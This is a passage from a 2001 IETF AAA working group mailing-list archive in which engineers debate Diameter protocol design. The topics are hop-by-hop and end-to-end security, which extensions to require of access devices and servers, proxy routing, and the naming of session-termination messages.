Command-Code set to 275, is sent by the access device to inform the Diameter Server that an authenticated and/or authorized session is being terminated. I think I understand what is meant and how the words wind up this way, but I can see some confusion resulting. Stuart -- Stuart A Barkley email: stuartb@uu.net [resend. previous attempts seemed to go into a blackhole.] From owner-aaa-bof@merit.edu Wed Feb 21 15:32:10 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA09149 for ; Wed, 21 Feb 2001 15:32:09 -0500 (EST) Received: by segue.merit.edu (Postfix) id 8BA7F5DEF0; Wed, 21 Feb 2001 15:27:08 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 3CF225DF0D; Wed, 21 Feb 2001 15:27:08 -0500 (EST) Received: from cisco.com (tiffin.cisco.com [171.69.27.18]) by segue.merit.edu (Postfix) with ESMTP id D6DE35DEF0 for ; Wed, 21 Feb 2001 15:26:53 -0500 (EST) Received: (from kaushik@localhost) by cisco.com (8.8.8-Cisco List Logging/8.8.8) id MAA12955; Wed, 21 Feb 2001 12:22:51 -0800 (PST) From: Kaushik Narayan Message-Id: <200102212022.MAA12955@cisco.com> Subject: Re: [AAA-WG]: AAA WG Interim Minutes Posted To: aboba@internaut.com (Bernard Aboba) Date: Wed, 21 Feb 2001 12:22:50 -0800 (PST) Cc: aaa-wg@merit.edu (Aaa-Wg@Merit. Edu) In-Reply-To: from "Bernard Aboba" at Feb 20, 2001 09:45:17 PM X-Mailer: ELM [version 2.5 PL1] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit hi all, Just resending some thoughts on hop-by-hop security based on discussions in the interim meeting. Summary of security discussion for hop-by-hop at interim meeting ----- Transmission level security is provided via SSL and IPSec. NASes MUST support IPSEC and confidentiality (ESP with non-null transform). AAA proxies ans servers MUST support SSL and IPSEC. Hop-by-Hop shared secret security is removed from the specification. This means that the ICV and the Encrypted-Payload are gone for hop-by-hop use. Pat will leave them in for e2e use for now, since they are required by the Kerberos e2e proposal. Data Object Security MUST be supported by NASes as well as Home Servers. There is no requirement for proxies to support data object security (not even a MAY). ----- Since object level mechanisms provide end to end security the object level infrastructure (CA,kdc) can be use to provide hop by hop security as well, moreover the shared secret mechanism can stay as well. The ICV and E-P can stay and provide hop by hop security, they can be generated using the shared secret or by using keys negotiated using the object level security mechanism (pki,kerb). Shared secrets could be used for intra-domain hops and object level security mechanisms could be used for inter-domain hops. Well i foresee two scenarios 1> Scenario I Single domain enterprise - The user logs in via the enterprise NAS and is authenticated by a diameter server in the same domain. In such a scenario shared secret security between the NAS and the diameter server would suffice. 2> Scenario II Multi-domain shared/roaming services - The user logs into a romaing/shared use NAS and the request is forwarded to the diameter homeserver via the roaming/shared proxy/proxies. In such cases there is need for e2e security between NAS-to-homeserver and hop-by-hop security between NAS-to-proxy and proxy-to-homeserver. There is a difference between these two hops.(this is a simplistic case with a single proxy in between a NAS and homeserver) NAS-to-proxy hop is an intra-domain hop and shared secret security might suffice but the proxy-to-homeserver is an inter-domain hop and there MUST be a strong security mechanism (either transport or object level). Morever NAS-to-proxy is typically a (1:1 or 1:number of backup proxies) so managing shared secrets is not a problem. Now the question boils down whether e2e security is mandatory. If e2e is mandatory for multi-domain scenarios then there would an object level mechanism and the necessary infrastructure would be present. This infrastructure can be used to provide object level security for hop-by-hop as well. In case e2e is optional and in a certain ISP decides not to use e2e security then we would need transport layer security to secure the proxy-to-homeserver hop since the customer won't need to have the object level mechanism infrastructure (KDC or PKI). Scenario I ----------- ----------- | | | | | | | | | NAS | | server | | | | | | | | | ----------- ----------- <----------------> shared secret Scenario II (e2e used) ----------- ----------- --------- | | | | | | | | | | | | | NAS | | proxy | |homeserver| | | | | | | | | | | | | ----------- ----------- ---------- <----------------> <------------> shared secret Object Level (Kerb,pki) <-------------------------------------------> Object Level (Kerb,pki) Scenario II (e2e not used) ----------- ----------- --------- | | | | | | | | | | | | | NAS | | proxy | |homeserver| | | | | | | | | | | | | ----------- ----------- ---------- <----------------> <------------> shared secret IPSEC/SSL In this case it would too much of an overhead to ask someone to have kerb,pki infrastucture for only hop by hop since hop by hop strong security can be achieved by IPSec,SSL. One note - In all three diagrams above the shared secret mechanism is being used for NAS-to-proxy hop by hop security. This is need not mandatory and strong security might be used for this hop as well. The only other scenario is the redirection wherin the NAS->to-homeserver is hop-by-hop wherein it again you would need to transport layer security. So I guess the answer to my original question of whether object level security can be used for hop by hop as well lies in two questions i> Is e2e mandatory ? ii> There was some talk in the interim meeting about discouraging redirection. Is redirection very important? There is another question that is raised Should we do away with shared secret for hop by hop especially since shared secrets might suffice for NAS-to-proxy hop and it won't effect NAS performance. kaushik! > The AAA WG met in San Diego on February 7, 2001. The > Interim meeting minutes are posted below: > > http://www.drizzle.com/~aboba/aaa-interim/Interim7Feb01.txt > > Thanks to Pat Calhoun, Dave Mitton, Dave Spence and > Bob Kopacz for acting as scribes. > > Presentations are available below: > > http://www.drizzle.com/~aboba/aaa-interim/ > > > > From owner-aaa-bof@merit.edu Wed Feb 21 16:24:01 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA11092 for ; Wed, 21 Feb 2001 16:24:01 -0500 (EST) Received: by segue.merit.edu (Postfix) id AEB525DF15; Wed, 21 Feb 2001 16:18:32 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 683C45E086; Wed, 21 Feb 2001 16:17:36 -0500 (EST) Received: from gate.internaut.com (unknown [64.38.134.108]) by segue.merit.edu (Postfix) with ESMTP id CC1F75DFF6 for ; Wed, 21 Feb 2001 16:07:16 -0500 (EST) Received: from e1kj2 (e1kj2 [64.38.134.109]) by gate.internaut.com (8.10.2/8.10.2) with SMTP id f1LL0Zv06403 for ; Wed, 21 Feb 2001 13:00:36 -0800 From: "Bernard Aboba" To: "Aaa-Wg@Merit. Edu" Subject: [AAA-WG]: AAA Transport Profile draft posted Date: Wed, 21 Feb 2001 13:08:25 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit The AAA transport profile draft should be showing up on the IETF archive shortly. Until it does, it is available here: http://www.drizzle.com/~aboba/AAA/aaa-transport.txt From owner-aaa-bof@merit.edu Thu Feb 22 13:24:52 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA21483 for ; Thu, 22 Feb 2001 13:24:51 -0500 (EST) Received: by segue.merit.edu (Postfix) id 001E95E02D; Thu, 22 Feb 2001 13:22:01 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 8FC815DFF0; Thu, 22 Feb 2001 13:21:55 -0500 (EST) Received: from franklin.cisco.com (franklin.cisco.com [171.70.156.17]) by segue.merit.edu (Postfix) with ESMTP id AB6B95E034 for ; Thu, 22 Feb 2001 13:21:33 -0500 (EST) Received: from gwzpc (rtp-dial-1-204.cisco.com [10.83.97.204]) by franklin.cisco.com (8.8.6 (PHNE_17190)/CISCO.SERVER.1.2) with SMTP id KAA01277; Thu, 22 Feb 2001 10:19:39 -0800 (PST) Reply-To: From: "Glen Zorn" To: "Bernard Aboba" , "Aaa-Wg@Merit. Edu" Subject: RE: [AAA-WG]: Extension requirements? Date: Thu, 22 Feb 2001 10:19:37 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 In-Reply-To: Importance: Normal Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit Bernard Aboba [mailto:aboba@internaut.com] writes: > At the interim meeting, we made a distinction between > things that would be required of a NAS and those that > would be required of a proxy and a server. > > The logic was that a NAS is typically an embedded > device and therefore operates under different > contraints than a proxy or a server, which > presumably have much greater CPU, memory and > disk resources available to them. > > In the same spirit, I would propose that > AAA proxies and servers MUST implement the > Accounting, NASREQ and MobileIP extensions, > while NASen MUST implement the Accounting > extension and at least one of the NASREQ > and MobileIP extensions. Seems reasonable to me. > > While I can understand why a NAS would only > implement those extensions appropriate for > the kind of device (e.g. I wouldn't expect > a dialup NAS to implement the Mobile IP > extension), requiring that a proxy or > server implement Accounting, MobileIP > and NASREQ seems reasonable to me. > > Doing this will go a long way towards > ensuring interoperability. Today, > some RADIUS proxies don't recognize > all of the attributes defined in > RFCs 2865-2869, and this causes > considerable headaches. It would be > nice to avoid those interoperability > problems with DIAMETER. If it is allowed, that is: remember that it is unnecessary for standard proxies to recognize anything from most of those documents because they are Informational, primarily due to the IESG (as I recall). > > > > From owner-aaa-bof@merit.edu Thu Feb 22 23:09:00 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA07486 for ; Thu, 22 Feb 2001 23:08:59 -0500 (EST) Received: by segue.merit.edu (Postfix) id 73EB95DDD9; Thu, 22 Feb 2001 23:08:43 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 4ECB45DE10; Thu, 22 Feb 2001 23:08:43 -0500 (EST) Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by segue.merit.edu (Postfix) with ESMTP id 7DD7B5DDD9 for ; Thu, 22 Feb 2001 23:08:41 -0500 (EST) Received: from iadserve0.iad.eng.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: iadserve0.iad.eng.us.uu.net [153.39.152.19]) id QQkdoi04201 for ; Fri, 23 Feb 2001 04:08:41 GMT From: stuartb+ietf-aaa@UU.NET Received: from localhost by iadserve0.iad.eng.us.uu.net with ESMTP (peer crosschecked as: stuartb@localhost) id QQkdoi26595 for ; Thu, 22 Feb 2001 23:08:07 -0500 (EST) Date: Thu, 22 Feb 2001 23:08:07 -0500 (EST) To: aaa-wg@merit.edu Subject: Re: [AAA-WG]: Extension requirements? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk It does seem reasonable that current AAA clients and servers would implement the functions Bernard suggested as requiring. However, I don't think we should put these into the protocol requirements. Does the base protocol specification function without any extension? At at least some level the base protocol should work standalone (although it does not have any session startup support, that is all in extensions). We have NASREQ and MobileIP as separate extensions so that people only need to implement the functionality actually needed and to provide separation of functionality from other future extensions. Since I don't expect to ever run any MobileIP devices, I would be rather hard pressed to develop a server I really felt comfortable saying meets the MobileIP requirements. When we extend the AAA protocol to support other functionality we might find a requirement that servers support NASREQ and MobileIP rather archaic. It should be noted that Radius is used to support a whole lot of other authentication requirements and although those requirements are not currently in our scope we don't want to build in artificial limits. In our currently deployed radius systems our Accounting servers are distinct from our Authentication servers. Although they do share some source code they really are distinct entities and in some cases are run by very distinct organizational entities. On Wed, 14 Feb 2001, Bernard Aboba wrote: > Date: Wed, 14 Feb 2001 08:56:52 -0800 > From: Bernard Aboba > To: "Aaa-Wg@Merit. Edu" > Subject: [AAA-WG]: Extension requirements? > > At the interim meeting, we made a distinction between > things that would be required of a NAS and those that > would be required of a proxy and a server. > > The logic was that a NAS is typically an embedded > device and therefore operates under different > contraints than a proxy or a server, which > presumably have much greater CPU, memory and > disk resources available to them. > > In the same spirit, I would propose that > AAA proxies and servers MUST implement the > Accounting, NASREQ and MobileIP extensions, > while NASen MUST implement the Accounting > extension and at least one of the NASREQ > and MobileIP extensions. > > While I can understand why a NAS would only > implement those extensions appropriate for > the kind of device (e.g. I wouldn't expect > a dialup NAS to implement the Mobile IP > extension), requiring that a proxy or > server implement Accounting, MobileIP > and NASREQ seems reasonable to me. > > Doing this will go a long way towards > ensuring interoperability. Today, > some RADIUS proxies don't recognize > all of the attributes defined in > RFCs 2865-2869, and this causes > considerable headaches. It would be > nice to avoid those interoperability > problems with DIAMETER. From owner-aaa-bof@merit.edu Fri Feb 23 00:48:56 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA09203 for ; Fri, 23 Feb 2001 00:48:56 -0500 (EST) Received: by segue.merit.edu (Postfix) id A53C85DE8E; Fri, 23 Feb 2001 00:45:59 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 932C15DE76; Fri, 23 Feb 2001 00:45:59 -0500 (EST) Received: from gate.internaut.com (unknown [64.38.134.108]) by segue.merit.edu (Postfix) with ESMTP id 88B8D5DDEE for ; Fri, 23 Feb 2001 00:45:57 -0500 (EST) Received: from e1kj2 (e1kj2 [64.38.134.109]) by gate.internaut.com (8.10.2/8.10.2) with SMTP id f1N5d4v16410; Thu, 22 Feb 2001 21:39:04 -0800 From: "Bernard Aboba" To: , Subject: RE: [AAA-WG]: Extension requirements? Date: Thu, 22 Feb 2001 21:47:03 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 In-Reply-To: Importance: Normal Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit The reason I suggested simplifying the extensions picture is because of the resulting protocol complications. The issue is really whether we expect people to deploy proxies and servers with disparate capabilities. So Proxy1 supports a different set of extensions from Proxy2, or AAA server 1 supports different extensions from AAA server 2. This complicates load balancing and failover considerably. I don't think the complexity is justified because most load balancing systems assume some amount of homogeneity. Some of the same issues arise for accounting. One reason that people use RADIUS auth and not accounting is that RADIUS accounting is inferior in reliability, so they might want to use something else (like SNMP). We've put a lot of work into improving the reliability of DIAMETER accounting, to the point where I believe that it is the most reliable accounting protocol that exists. If we really believe that people will choose not to use it, then I would question whether we're doing something wrong. Right now, Accounting functionality is integral to DIAMETER. This has a number of advantages. For example, if Accounting is split out, then we might need to put in an auth ACK message, which tells the AAA server what the NAS has actually implemented. If Accounting is mandatory, then such a message is unnecessary. In my opinion, the base protocol is not all that useful without at least one of the NASREQ or MOBILEIP extensions. That is why I would like to require at least one of these on a NAS, in addition to ACCOUNTING support. Can you think of a situation in which the NAS would only support the base protocol? With respect to the server. My understanding is that the MOBILEIP extensions are among the most popular features of DIAMETER. I am interested to hear from DIAMETER implementors who are *not* planning to implement these extensions. Based on what I've seen so far, it seems to me that such an implementation might be untenable in the market place. If so, we might as recognize this and require NASREQ, ACCOUNTING and MOBILEIP on the AAA server. -----Original Message----- From: owner-aaa-bof@merit.edu [mailto:owner-aaa-bof@merit.edu]On Behalf Of stuartb+ietf-aaa@UU.NET Sent: Thursday, February 22, 2001 8:08 PM To: aaa-wg@merit.edu Subject: Re: [AAA-WG]: Extension requirements? It does seem reasonable that current AAA clients and servers would implement the functions Bernard suggested as requiring. However, I don't think we should put these into the protocol requirements. Does the base protocol specification function without any extension? At at least some level the base protocol should work standalone (although it does not have any session startup support, that is all in extensions). We have NASREQ and MobileIP as separate extensions so that people only need to implement the functionality actually needed and to provide separation of functionality from other future extensions. Since I don't expect to ever run any MobileIP devices, I would be rather hard pressed to develop a server I really felt comfortable saying meets the MobileIP requirements. When we extend the AAA protocol to support other functionality we might find a requirement that servers support NASREQ and MobileIP rather archaic. It should be noted that Radius is used to support a whole lot of other authentication requirements and although those requirements are not currently in our scope we don't want to build in artificial limits. In our currently deployed radius systems our Accounting servers are distinct from our Authentication servers. Although they do share some source code they really are distinct entities and in some cases are run by very distinct organizational entities. On Wed, 14 Feb 2001, Bernard Aboba wrote: > Date: Wed, 14 Feb 2001 08:56:52 -0800 > From: Bernard Aboba > To: "Aaa-Wg@Merit. Edu" > Subject: [AAA-WG]: Extension requirements? > > At the interim meeting, we made a distinction between > things that would be required of a NAS and those that > would be required of a proxy and a server. > > The logic was that a NAS is typically an embedded > device and therefore operates under different > contraints than a proxy or a server, which > presumably have much greater CPU, memory and > disk resources available to them. > > In the same spirit, I would propose that > AAA proxies and servers MUST implement the > Accounting, NASREQ and MobileIP extensions, > while NASen MUST implement the Accounting > extension and at least one of the NASREQ > and MobileIP extensions. > > While I can understand why a NAS would only > implement those extensions appropriate for > the kind of device (e.g. I wouldn't expect > a dialup NAS to implement the Mobile IP > extension), requiring that a proxy or > server implement Accounting, MobileIP > and NASREQ seems reasonable to me. > > Doing this will go a long way towards > ensuring interoperability. Today, > some RADIUS proxies don't recognize > all of the attributes defined in > RFCs 2865-2869, and this causes > considerable headaches. It would be > nice to avoid those interoperability > problems with DIAMETER. From owner-aaa-bof@merit.edu Fri Feb 23 03:53:59 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA24980 for ; Fri, 23 Feb 2001 03:53:59 -0500 (EST) Received: by segue.merit.edu (Postfix) id 1E66D5DDEE; Fri, 23 Feb 2001 03:52:29 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id E73ED5DE8D; Fri, 23 Feb 2001 03:52:28 -0500 (EST) Received: from rsys000a.roke.co.uk (unknown [193.118.201.102]) by segue.merit.edu (Postfix) with ESMTP id 3640E5DDEE for ; Fri, 23 Feb 2001 03:52:26 -0500 (EST) Received: from rsys002a.roke.co.uk - 193.118.192.251 by rsys000a.roke.co.uk with Microsoft SMTPSVC(5.5.1774.114.11); Fri, 23 Feb 2001 08:53:12 +0000 Received: from roke.co.uk (riker.roke.co.uk [193.118.194.28]) by rsys002a.roke.co.uk with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id 16Y4JN2P; Fri, 23 Feb 2001 08:51:02 -0000 Message-ID: <3A9622C1.80C3D2E4@roke.co.uk> Date: Fri, 23 Feb 2001 08:43:45 +0000 From: Stephen McCann ITN Organization: Roke Manor Research Ltd X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Bernard Aboba , aaa-wg@merit.edu Subject: Re: [AAA-WG]: Extension requirements? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit Bernard Aboba wrote: > > We've put a lot of work into improving the reliability > of DIAMETER accounting, to the point where I believe > that it is the most reliable accounting protocol that > exists. If we really believe that people will choose > not to use it, then I would question whether we're > doing something wrong. > > Right now, Accounting functionality is integral to > DIAMETER. This has a number of advantages. For example, > if Accounting is split out, then we might need to put > in an auth ACK message, which tells the AAA server > what the NAS has actually implemented. If Accounting > is mandatory, then such a message is unnecessary. > Yes, I agree. I also believe that the accounting extension is essential. I'm currently working on WLAN integration with 3G systems utilising the 'IETF' method (i.e. loose coupling approach). In addition to using the accounting extension of DIAMETER, I've be very interested in also resurrecting the QoS extensions from 1998. Hopefully this work will be an infeed to the Hiperlan/2 project within ETSI BRAN. I know this is 'not centre stage' at the moment, but I'd be interested to collect comments on any future directions of QoS within DIAMETER. Regards Stephen McCann Roke Manor Research Ltd (A Siemens Company) Southampton UK -- The information contained in this e-mail is confidential to Roke Manor and must not be passed to any third party without permission. This communication is for information only and shall not create or change any contractual relationship. From owner-aaa-bof@merit.edu Fri Feb 23 08:37:57 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA00950 for ; Fri, 23 Feb 2001 08:37:57 -0500 (EST) Received: by segue.merit.edu (Postfix) id EEE625DE29; Fri, 23 Feb 2001 08:33:53 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id A13935DE40; Fri, 23 Feb 2001 08:33:53 -0500 (EST) Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by segue.merit.edu (Postfix) with ESMTP id 32A0D5DE29 for ; Fri, 23 Feb 2001 08:33:52 -0500 (EST) Received: from engmail2.Eng.Sun.COM ([129.146.1.25]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id FAA20443; Fri, 23 Feb 2001 05:33:49 -0800 (PST) Received: from nasnfs.eng.sun.com (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA12903; Fri, 23 Feb 2001 05:33:48 -0800 (PST) Received: from mordor (mordor [129.146.120.122]) by nasnfs.eng.sun.com (8.9.3+Sun/8.9.1) with SMTP id FAA25688; Fri, 23 Feb 2001 05:33:46 -0800 (PST) Date: Fri, 23 Feb 2001 05:29:31 -0800 (PST) From: Pat Calhoun Reply-To: Pat Calhoun Subject: Re: [AAA-WG]: Message Forwarding and Routing Proposed text To: stuartb+ietf-aaa@UU.NET Cc: aaa-wg@merit.edu In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk Finally coming up for air.... > On Mon, 12 Feb 2001, Patrice Calhoun wrote: > > > > I missed the new Origin-Realm AVP, I guess I only read the first > > > 50 or 60 emails you guys exchanged. It seems like an Origin-Realm > > > AVP would be just the ticket to complete the routing picture, unless > > > there are more complicated routing situations. > > > > It is a rather complicated problem, but it looks like we have it > > nailed down. If someone has a more complicated routing situation, > > then I would like to hear about it. Otherwise, I think we have all > > cases handled. I would really hate to have to introduce additional > > complexity :( > > What about a host which is running multiple diameter processes? well, I asked for it... > We > now have lots of routing being performed based upon some form of host > name, but what if a Diameter proxy winds up communicating with a > Diameter server on the same machine? Does the Diameter server notice > that the Record-Route AVP has it own hostname in it and assume a loop? Currently yes. So the question I have for you is whether multiple aaad processes on a single box is a requirement. > > How about multiple client processes running on one machine which end > up communicating with the same server? Can either client process > handle unsolicited requests from the server? Can a response go back > to either client process? yes, via the proxy state. The proxy state can encode pretty much anything you want, including the source port number. > > It also looks to me like a diameter process (either client or server) > will be doing lots of hostname to ip address and ip address to host > name conversions. Perhaps the Host-Name AVP in the Device-Reboot-Ind > message should be defined to be the value which is used and verified > in the Record-Route and related AVPs. This issue may have already > been addressed in recent proposed updates. Correct, the host name is passed in the DRI. In fact, my clients file no longer contains IP addresses, but fully qualified domains names. This makes the lookup a hell of alot easier, and eliminates the need to constantly call DNS for name resolution. Of course, you could use IP addresses, and simply store the Host-Name in the clients entry too. PatC From owner-aaa-bof@merit.edu Fri Feb 23 08:39:18 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA01011 for ; Fri, 23 Feb 2001 08:39:17 -0500 (EST) Received: by segue.merit.edu (Postfix) id 2A5D45DDBB; Fri, 23 Feb 2001 08:38:58 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 1A14D5DD94; Fri, 23 Feb 2001 08:38:58 -0500 (EST) Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by segue.merit.edu (Postfix) with ESMTP id 84E995DDBB for ; Fri, 23 Feb 2001 08:38:56 -0500 (EST) Received: from engmail2.Eng.Sun.COM ([129.146.1.25]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id FAA21867; Fri, 23 Feb 2001 05:38:54 -0800 (PST) Received: from nasnfs.eng.sun.com (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA13474; Fri, 23 Feb 2001 05:38:54 -0800 (PST) Received: from mordor (mordor [129.146.120.122]) by nasnfs.eng.sun.com (8.9.3+Sun/8.9.1) with SMTP id FAA25729; Fri, 23 Feb 2001 05:38:52 -0800 (PST) Date: Fri, 23 Feb 2001 05:34:37 -0800 (PST) From: Pat Calhoun Reply-To: Pat Calhoun Subject: Re: [AAA-WG]: Re: Host-Name and Destination-NAI AVPs To: stuartb+ietf-aaa@UU.NET Cc: aaa-wg@merit.edu In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk > On Mon, 12 Feb 2001, Patrice Calhoun wrote: > > > I think that one of the fundamental problems with RADIUS is it's > > lack of specification in proxying. I believe that it doesn't hurt > > to "suggest" how a proxy can route packets, and let the more > > experienced developers come up with better scheme. This way we can > > assume that all Diameter implementations will at least do what the > > protocol was intended to do. > > There have been numerous assumptions about how proxies should work. > I think one of the biggest problem with RADIUS is an assumed proxy > functionality based upon doing minimal manipulation of AVPs. > > Diameter carries this flaw even further by attempting to mix proxy > behavior specification into the base protocol. For example, the > Host-Name AVP is defined to be carried unchanged through proxies. > This behavior is really be dependent upon the type of proxy being > deployed and should not be required (I note draft-aaa-diameter-00.txt > does not actually say "MUST not modify" but instead says "proxy > servers do not modify"). I am not sure I understand what you are stating. Are you requesting that the do not modify be changed to MUST NOT modify? > > If we can identify useful protocol elements which might help some > proxy environments, then by all means define them in the base > protocol. However, don't use them to enforce certain proxy behavior. The only ones that I know of are the routing AVPs, and routing is essential to the protocol, so I don't see a problem in defining these. Could you be more specific? > > If the Diameter specification is only suggesting how a proxy can route > packets, should that discussion be in the standards track base > protocol specification? A separate non standards track > (experimental?) document showing possible proxying situations could be > a useful document to suggest how proxies might operate. Lets not mix > "might choose to do it this way" with the standards track protocol > behavior. I think I now understand your concern. The might was put there explicitely to satisfy Barney's insistence that we not define Proxy Behaviors. However, without such text, I don't think we have a good routing story, and would basically have RADIUS. I think that a good routing strategy needs to be defined. > > By moving the proxy behavior into a separate document we can simplify > the base protocol specification considerably. Implementors of NASes > or other Diameter clients don't really need to be overly concerned > about the proxy behavior. Likewise implementors of Diameter Servers > should also not need to be worried about the subtle difficulties of > proxies. In fact, protocol-wise, proxy implementors only need to be > interested in the single hop behavior of each side of the proxy. Again, are you just talking about routing of messages here? PatC From owner-aaa-bof@merit.edu Fri Feb 23 08:40:57 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA01041 for ; Fri, 23 Feb 2001 08:40:57 -0500 (EST) Received: by segue.merit.edu (Postfix) id 382645DEA4; Fri, 23 Feb 2001 08:40:28 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 26AFC5DE9F; Fri, 23 Feb 2001 08:40:28 -0500 (EST) Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) by segue.merit.edu (Postfix) with ESMTP id B49145DE9E for ; Fri, 23 Feb 2001 08:40:22 -0500 (EST) Received: from engmail4.Eng.Sun.COM ([129.144.134.6]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA04538; Fri, 23 Feb 2001 05:40:21 -0800 (PST) Received: from nasnfs.eng.sun.com (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA00198; Fri, 23 Feb 2001 05:40:21 -0800 (PST) Received: from mordor (mordor [129.146.120.122]) by nasnfs.eng.sun.com (8.9.3+Sun/8.9.1) with SMTP id FAA25741; Fri, 23 Feb 2001 05:40:19 -0800 (PST) Date: Fri, 23 Feb 2001 05:36:04 -0800 (PST) From: Pat Calhoun Reply-To: Pat Calhoun Subject: Re: [AAA-WG]: Interesting wording: Session-Termination To: stuartb+ietf-aaa@UU.NET Cc: aaa-wg@merit.edu In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk > This isn't really all that important, but I did find it amusing that > Session-Termination-Ind "requests" that a session be terminated while > Session-Termination-Request "informs" that a session is being > terminated. > Yes, an artifact of our naming system. I am open to suggestions though. We don't have to call the Ind Session-Termination-Ind, but something else making clear it is a request to start the STR process. PatC From owner-aaa-bof@merit.edu Fri Feb 23 10:35:08 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA05377 for ; Fri, 23 Feb 2001 10:35:08 -0500 (EST) Received: by segue.merit.edu (Postfix) id 1E9C35DE98; Fri, 23 Feb 2001 10:32:02 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id C506A5DECB; Fri, 23 Feb 2001 10:32:01 -0500 (EST) Received: from mx.databus.com (p101-44.acedsl.com [160.79.101.44]) by segue.merit.edu (Postfix) with ESMTP id 210605DE98 for ; Fri, 23 Feb 2001 10:31:55 -0500 (EST) Received: (from barney@localhost) by mx.databus.com (8.11.1/8.11.1) id f1NFVf916824; Fri, 23 Feb 2001 10:31:41 -0500 (EST) (envelope-from barney) Date: Fri, 23 Feb 